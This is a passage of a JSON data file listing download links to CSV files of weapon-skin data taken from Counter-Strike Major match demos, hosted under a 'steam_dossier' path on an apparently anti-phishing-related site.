            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75602_mouz-vs-ence-m1-ancient.dem.skins.csv"
          },
          {
            "label": "75602_mouz-vs-ence-m2-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75602_mouz-vs-ence-m2-nuke.dem.skins.csv"
          },
          {
            "label": "75602_mouz-vs-ence-m3-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75602_mouz-vs-ence-m3-mirage.dem.skins.csv"
          },
          {
            "label": "75604_big-vs-natus-vincere-m1-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75604_big-vs-natus-vincere-m1-mirage.dem.skins.csv"
          },
          {
            "label": "75604_big-vs-natus-vincere-m2-dust2.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75604_big-vs-natus-vincere-m2-dust2.dem.skins.csv"
          },
          {
            "label": "75607_liquid-vs-spirit-m1-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75607_liquid-vs-spirit-m1-vertigo.dem.skins.csv"
          },
          {
            "label": "75607_liquid-vs-spirit-m2-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75607_liquid-vs-spirit-m2-mirage.dem.skins.csv"
          },
          {
            "label": "75607_liquid-vs-spirit-m3-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75607_liquid-vs-spirit-m3-ancient.dem.skins.csv"
          },
          {
            "label": "75619_outsiders-vs-fnatic-m1-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75619_outsiders-vs-fnatic-m1-inferno.dem.skins.csv"
          },
          {
            "label": "75619_outsiders-vs-fnatic-m2-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75619_outsiders-vs-fnatic-m2-mirage.dem.skins.csv"
          },
          {
            "label": "75620_mouz-vs-cloud9-m1-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75620_mouz-vs-cloud9-m1-inferno.dem.skins.csv"
          },
          {
            "label": "75620_mouz-vs-cloud9-m2-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75620_mouz-vs-cloud9-m2-overpass.dem.skins.csv"
          },
          {
            "label": "75620_mouz-vs-cloud9-m3-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75620_mouz-vs-cloud9-m3-ancient.dem.skins.csv"
          },
          {
            "label": "75624_spirit-vs-heroic-m1-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75624_spirit-vs-heroic-m1-vertigo.dem.skins.csv"
          },
          {
            "label": "75624_spirit-vs-heroic-m2-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75624_spirit-vs-heroic-m2-overpass.dem.skins.csv"
          },
          {
            "label": "75625_furia-vs-natus-vincere-m1-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75625_furia-vs-natus-vincere-m1-nuke.dem.skins.csv"
          },
          {
            "label": "75625_furia-vs-natus-vincere-m2-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75625_furia-vs-natus-vincere-m2-ancient.dem.skins.csv"
          },
          {
            "label": "75625_furia-vs-natus-vincere-m3-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75625_furia-vs-natus-vincere-m3-mirage.dem.skins.csv"
          },
          {
            "label": "75631_outsiders-vs-mouz-m1-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75631_outsiders-vs-mouz-m1-ancient.dem.skins.csv"
          },
          {
            "label": "75631_outsiders-vs-mouz-m2-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75631_outsiders-vs-mouz-m2-overpass.dem.skins.csv"
          },
          {
            "label": "75631_outsiders-vs-mouz-m3-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75631_outsiders-vs-mouz-m3-inferno.dem.skins.csv"
          },
          {
            "label": "75632_heroic-vs-furia-m1-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75632_heroic-vs-furia-m1-inferno.dem.skins.csv"
          },
          {
            "label": "75632_heroic-vs-furia-m2-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75632_heroic-vs-furia-m2-ancient.dem.skins.csv"
          },
          {
            "label": "75632_heroic-vs-furia-m3-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75632_heroic-vs-furia-m3-nuke.dem.skins.csv"
          },
          {
            "label": "75637_outsiders-vs-heroic-m1-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75637_outsiders-vs-heroic-m1-mirage.dem.skins.csv"
          },
          {
            "label": "75637_outsiders-vs-heroic-m2-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75637_outsiders-vs-heroic-m2-overpass.dem.skins.csv"
          },
          {
            "label": "79711_9ine-vs-liquid-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79711_9ine-vs-liquid-inferno.dem.skins.csv"
          },
          {
            "label": "79712_natus-vincere-vs-gamerlegion-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79712_natus-vincere-vs-gamerlegion-mirage.dem.skins.csv"
          },
          {
            "label": "79715_fnatic-vs-ninjas-in-pyjamas-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79715_fnatic-vs-ninjas-in-pyjamas-nuke.dem.skins.csv"
          },
          {
            "label": "79716_heroic-vs-faze-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79716_heroic-vs-faze-inferno.dem.skins.csv"
          },
          {
            "label": "79717_into-the-breach-vs-apeks-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79717_into-the-breach-vs-apeks-mirage.dem.skins.csv"
          },
          {
            "label": "79718_furia-vs-monte-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79718_furia-vs-monte-ancient.dem.skins.csv"
          },
          {
            "label": "79719_vitality-vs-g2-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79719_vitality-vs-g2-nuke.dem.skins.csv"
          },
          {
            "label": "79720_bad-news-eagles-vs-ence-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79720_bad-news-eagles-vs-ence-vertigo.dem.skins.csv"
          },
          {
            "label": "79721_liquid-vs-natus-vincere-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79721_liquid-vs-natus-vincere-inferno.dem.skins.csv"
          },
          {
            "label": "79722_fnatic-vs-monte-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79722_fnatic-vs-monte-vertigo.dem.skins.csv"
          },
          {
            "label": "79723_vitality-vs-ence-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79723_vitality-vs-ence-vertigo.dem.skins.csv"
          },
          {
            "label": "79724_heroic-vs-apeks-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79724_heroic-vs-apeks-mirage.dem.skins.csv"
          },
          {
            "label": "79725_furia-vs-ninjas-in-pyjamas-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79725_furia-vs-ninjas-in-pyjamas-nuke.dem.skins.csv"
          },
          {
            "label": "79726_9ine-vs-gamerlegion-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79726_9ine-vs-gamerlegion-mirage.dem.skins.csv"
          },
          {
            "label": "79727_bad-news-eagles-vs-g2-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79727_bad-news-eagles-vs-g2-ancient.dem.skins.csv"
          },
          {
            "label": "79728_faze-vs-into-the-breach-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79728_faze-vs-into-the-breach-inferno.dem.skins.csv"
          },
          {
            "label": "79731_natus-vincere-vs-ninjas-in-pyjamas-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79731_natus-vincere-vs-ninjas-in-pyjamas-overpass.dem.skins.csv"
          },
          {
            "label": "79733_ence-vs-into-the-breach-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79733_ence-vs-into-the-breach-vertigo.dem.skins.csv"
          },
          {
            "label": "79734_apeks-vs-bad-news-eagle-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79734_apeks-vs-bad-news-eagle-ancient.dem.skins.csv"
          },
          {
            "label": "79735_fnatic-vs-gamerlegion-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79735_fnatic-vs-gamerlegion-overpass.dem.skins.csv"
          },
          {
            "label": "79736_monte-vs-vitality-m1-anubis.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79736_monte-vs-vitality-m1-anubis.dem.skins.csv"
          },
          {
            "label": "79736_monte-vs-vitality-m2-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79736_monte-vs-vitality-m2-nuke.dem.skins.csv"
          },
          {
            "label": "79739_9ine-vs-faze-m1-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79739_9ine-vs-faze-m1-inferno.dem.skins.csv"
          },
          {
            "label": "79739_9ine-vs-faze-m2-anubis.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79739_9ine-vs-faze-m2-anubis.dem.skins.csv"
          },
          {
            "label": "79740_heroic-vs-liquid-m1-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79740_heroic-vs-liquid-m1-inferno.dem.skins.csv"
          },
          {
            "label": "79740_heroic-vs-liquid-m2-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79740_heroic-vs-liquid-m2-mirage.dem.skins.csv"
          },
          {
            "label": "79740_heroic-vs-liquid-m3-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79740_heroic-vs-liquid-m3-ancient.dem.skins.csv"
          },
          {
            "label": "79741_furia-vs-g2-m1-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79741_furia-vs-g2-m1-inferno.dem.skins.csv"
          },
          {
            "label": "79741_furia-vs-g2-m2-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79741_furia-vs-g2-m2-mirage.dem.skins.csv"
          },
          {
            "label": "79742_ence-vs-ninjas-in-pyjamas-m1-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79742_ence-vs-ninjas-in-pyjamas-m1-mirage.dem.skins.csv"
          },
          {
            "label": "79742_ence-vs-ninjas-in-pyjamas-m2-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79742_ence-vs-ninjas-in-pyjamas-m2-ancient.dem.skins.csv"
          },
          {
            "label": "79744_faze-vs-bad-news-eagles-m1-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79744_faze-vs-bad-news-eagles-m1-overpass.dem.skins.csv"
          },
          {
            "label": "79744_faze-vs-bad-news-eagles-m2-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79744_faze-vs-bad-news-eagles-m2-mirage.dem.skins.csv"
          },
          {
            "label": "79744_faze-vs-bad-news-eagles-m3-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79744_faze-vs-bad-news-eagles-m3-inferno.dem.skins.csv"
          },
          {
            "label": "79745_monte-vs-natus-vincere-m1-anubis.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79745_monte-vs-natus-vincere-m1-anubis.dem.skins.csv"
          },
          {
            "label": "79745_monte-vs-natus-vincere-m2-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79745_monte-vs-natus-vincere-m2-nuke.dem.skins.csv"
          },
          {
            "label": "79746_liquid-vs-into-the-breach-m1-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79746_liquid-vs-into-the-breach-m1-overpass.dem.skins.csv"
          },
          {
            "label": "79746_liquid-vs-into-the-breach-m2-anubis.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79746_liquid-vs-into-the-breach-m2-anubis.dem.skins.csv"
          },
          {
            "label": "79747_fnatic-vs-g2-m1-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79747_fnatic-vs-g2-m1-inferno.dem.skins.csv"
          },
          {
            "label": "79747_fnatic-vs-g2-m2-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79747_fnatic-vs-g2-m2-ancient.dem.skins.csv"
          },
          {
            "label": "79747_fnatic-vs-g2-m3-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79747_fnatic-vs-g2-m3-vertigo.dem.skins.csv"
          },
          {
            "label": "79748_apeks-vs-gamerlegion-m1-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79748_apeks-vs-gamerlegion-m1-ancient.dem.skins.csv"
          },
          {
            "label": "79748_apeks-vs-gamerlegion-m2-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79748_apeks-vs-gamerlegion-m2-overpass.dem.skins.csv"
          },
          {
            "label": "79756_faze-vs-natus-vincere-m1-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79756_faze-vs-natus-vincere-m1-overpass.dem.skins.csv"
          },
          {
            "label": "79756_faze-vs-natus-vincere-m2-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79756_faze-vs-natus-vincere-m2-mirage.dem.skins.csv"
          },
          {
            "label": "79756_faze-vs-natus-vincere-m3-anubis.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79756_faze-vs-natus-vincere-m3-anubis.dem.skins.csv"
          },
          {
            "label": "79758_fnatic-vs-into-the-breach-m1-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79758_fnatic-vs-into-the-breach-m1-inferno.dem.skins.csv"
          },
          {
            "label": "79758_fnatic-vs-into-the-breach-m2-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79758_fnatic-vs-into-the-breach-m2-overpass.dem.skins.csv"
          },
          {
            "label": "79758_fnatic-vs-into-the-breach-m3-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79758_fnatic-vs-into-the-breach-m3-vertigo.dem.skins.csv"
          },
          {
            "label": "79760_apeks-vs-ninjas-in-pyjamas-m1-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79760_apeks-vs-ninjas-in-pyjamas-m1-vertigo.dem.skins.csv"
          },
          {
            "label": "79760_apeks-vs-ninjas-in-pyjamas-m2-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79760_apeks-vs-ninjas-in-pyjamas-m2-ancient.dem.skins.csv"
          },
          {
            "label": "79802_heroic-vs-faze-m1-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79802_heroic-vs-faze-m1-nuke.dem.skins.csv"
          },
          {
            "label": "79802_heroic-vs-faze-m2-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79802_heroic-vs-faze-m2-overpass.dem.skins.csv"
          },
          {
            "label": "79802_heroic-vs-faze-m3-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79802_heroic-vs-faze-m3-mirage.dem.skins.csv"
          },
          {
            "label": "79803_vitality-vs-into-the-breach-m1-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79803_vitality-vs-into-the-breach-m1-vertigo.dem.skins.csv"
          },
          {
            "label": "79803_vitality-vs-into-the-breach-m2-anubis.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79803_vitality-vs-into-the-breach-m2-anubis.dem.skins.csv"
          },
          {
            "label": "79806_monte-vs-gamerlegion-m1-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79806_monte-vs-gamerlegion-m1-mirage.dem.skins.csv"
          },
          {
            "label": "79806_monte-vs-gamerlegion-m2-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79806_monte-vs-gamerlegion-m2-overpass.dem.skins.csv"
          },
          {
            "label": "79807_liquid-vs-apeks-m1-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79807_liquid-vs-apeks-m1-ancient.dem.skins.csv"
          },
          {
            "label": "79807_liquid-vs-apeks-m2-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79807_liquid-vs-apeks-m2-overpass.dem.skins.csv"
          },
          {
            "label": "79831_heroic-vs-gamerlegion-m1-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79831_heroic-vs-gamerlegion-m1-ancient.dem.skins.csv"
          },
          {
            "label": "79831_heroic-vs-gamerlegion-m2-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79831_heroic-vs-gamerlegion-m2-inferno.dem.skins.csv"
          },
          {
            "label": "79831_heroic-vs-gamerlegion-m3-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79831_heroic-vs-gamerlegion-m3-mirage.dem.skins.csv"
          },
          {
            "label": "79832_vitality-vs-apeks-m1-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79832_vitality-vs-apeks-m1-mirage.dem.skins.csv"
          },
          {
            "label": "79832_vitality-vs-apeks-m2-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79832_vitality-vs-apeks-m2-vertigo.dem.skins.csv"
          },
          {
            "label": "79841_gamerlegion-vs-vitality-m1-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79841_gamerlegion-vs-vitality-m1-overpass.dem.skins.csv"
          },
          {
            "label": "79841_gamerlegion-vs-vitality-m2-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79841_gamerlegion-vs-vitality-m2-nuke.dem.skins.csv"
          },
          {
            "label": "86018_natus-vincere-vs-themongolz-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86018_natus-vincere-vs-themongolz-mirage.dem.skins.csv"
          },
          {
            "label": "86019_mouz-vs-ecstatic-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86019_mouz-vs-ecstatic-overpass.dem.skins.csv"
          },
          {
            "label": "86020_virtus-pro-vs-imperial-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86020_virtus-pro-vs-imperial-inferno.dem.skins.csv"
          },
          {
            "label": "86021_vitality-vs-eternal-fire-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86021_vitality-vs-eternal-fire-inferno.dem.skins.csv"
          },
          {
            "label": "86023_complexity-vs-pain-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86023_complexity-vs-pain-vertigo.dem.skins.csv"
          },
          {
            "label": "86024_faze-vs-heroic-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86024_faze-vs-heroic-ancient.dem.skins.csv"
          },
          {
            "label": "86025_g2-vs-furia-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86025_g2-vs-furia-inferno.dem.skins.csv"
          },
          {
            "label": "86026_spirit-vs-cloud9-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86026_spirit-vs-cloud9-ancient.dem.skins.csv"
          },
          {
            "label": "86029_vitality-vs-themongolz-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86029_vitality-vs-themongolz-nuke.dem.skins.csv"
          },
          {
            "label": "86030_mouz-vs-eternal-fire-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86030_mouz-vs-eternal-fire-vertigo.dem.skins.csv"
          },
          {
            "label": "86031_virtuspro-vs-pain-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86031_virtuspro-vs-pain-inferno.dem.skins.csv"
          },
          {
            "label": "86032_complexity-vs-heroic-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86032_complexity-vs-heroic-vertigo.dem.skins.csv"
          },
          {
            "label": "86033_cloud9-vs-ecstatic-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86033_cloud9-vs-ecstatic-overpass.dem.skins.csv"
          },
          {
            "label": "86035_natus-vincere-vs-g2-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86035_natus-vincere-vs-g2-nuke.dem.skins.csv"
          },
          {
            "label": "86036_faze-vs-furia-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86036_faze-vs-furia-ancient.dem.skins.csv"
          },
          {
            "label": "86038_spirit-vs-imperial-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86038_spirit-vs-imperial-mirage.dem.skins.csv"
          },
          {
            "label": "86044_heroic-vs-virtus-pro-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86044_heroic-vs-virtus-pro-ancient.dem.skins.csv"
          },
          {
            "label": "86045_g2-vs-cloud9-anubis.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86045_g2-vs-cloud9-anubis.dem.skins.csv"
          },
          {
            "label": "86047_eternal-fire-vs-faze-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86047_eternal-fire-vs-faze-overpass.dem.skins.csv"
          },
          {
            "label": "86048_imperial-vs-vitality-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86048_imperial-vs-vitality-overpass.dem.skins.csv"
          },
          {
            "label": "86050_mouz-vs-complexity-m1-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86050_mouz-vs-complexity-m1-overpass.dem.skins.csv"
          },
          {
            "label": "86050_mouz-vs-complexity-m2-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86050_mouz-vs-complexity-m2-ancient.dem.skins.csv"
          },
          {
            "label": "86051_pain-vs-themongolz-m1-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86051_pain-vs-themongolz-m1-mirage.dem.skins.csv"
          },
          {
            "label": "86051_pain-vs-themongolz-m2-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86051_pain-vs-themongolz-m2-nuke.dem.skins.csv"
          },
          {
            "label": "86051_pain-vs-themongolz-m3-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86051_pain-vs-themongolz-m3-inferno.dem.skins.csv"
          },
          {
            "label": "86053_spirit-vs-natus-vincere-m1-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86053_spirit-vs-natus-vincere-m1-nuke.dem.skins.csv"
          },
          {
            "label": "86053_spirit-vs-natus-vincere-m2-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86053_spirit-vs-natus-vincere-m2-ancient.dem.skins.csv"
          },
          {
            "label": "86053_spirit-vs-natus-vincere-m3-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86053_spirit-vs-natus-vincere-m3-mirage.dem.skins.csv"
          },
          {
            "label": "86055_ecstatic-vs-furia-m1-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86055_ecstatic-vs-furia-m1-overpass.dem.skins.csv"
          },
          {
            "label": "86055_ecstatic-vs-furia-m2-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86055_ecstatic-vs-furia-m2-inferno.dem.skins.csv"
          },
          {
            "label": "86055_ecstatic-vs-furia-m3-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86055_ecstatic-vs-furia-m3-ancient.dem.skins.csv"
          },
          {
            "label": "86061_imperial-vs-faze-m1-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86061_imperial-vs-faze-m1-nuke.dem.skins.csv"
          },
          {
            "label": "86061_imperial-vs-faze-m2-anubis.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86061_imperial-vs-faze-m2-anubis.dem.skins.csv"
          },
          {
            "label": "86061_imperial-vs-faze-m3-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86061_imperial-vs-faze-m3-mirage.dem.skins.csv"
          },
          {
            "label": "86063_eternal-fire-vs-virtus-pro-m1-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86063_eternal-fire-vs-virtus-pro-m1-overpass.dem.skins.csv"
          },
          {
            "label": "86063_eternal-fire-vs-virtus-pro-m2-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86063_eternal-fire-vs-virtus-pro-m2-vertigo.dem.skins.csv"
          },
          {
            "label": "86063_eternal-fire-vs-virtus-pro-m3-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86063_eternal-fire-vs-virtus-pro-m3-inferno.dem.skins.csv"
          },
          {
            "label": "86064_ecstatic-vs-g2-m1-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86064_ecstatic-vs-g2-m1-inferno.dem.skins.csv"
          },
          {
            "label": "86064_ecstatic-vs-g2-m2-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86064_ecstatic-vs-g2-m2-vertigo.dem.skins.csv"
          },
          {
            "label": "86064_ecstatic-vs-g2-m3-anubis.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86064_ecstatic-vs-g2-m3-anubis.dem.skins.csv"
          },
          {
            "label": "86065_complexity-vs-vitality-m1-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86065_complexity-vs-vitality-m1-inferno.dem.skins.csv"
          },
          {
            "label": "86065_complexity-vs-vitality-m2-vertigo.dem.skins.csv ↓",
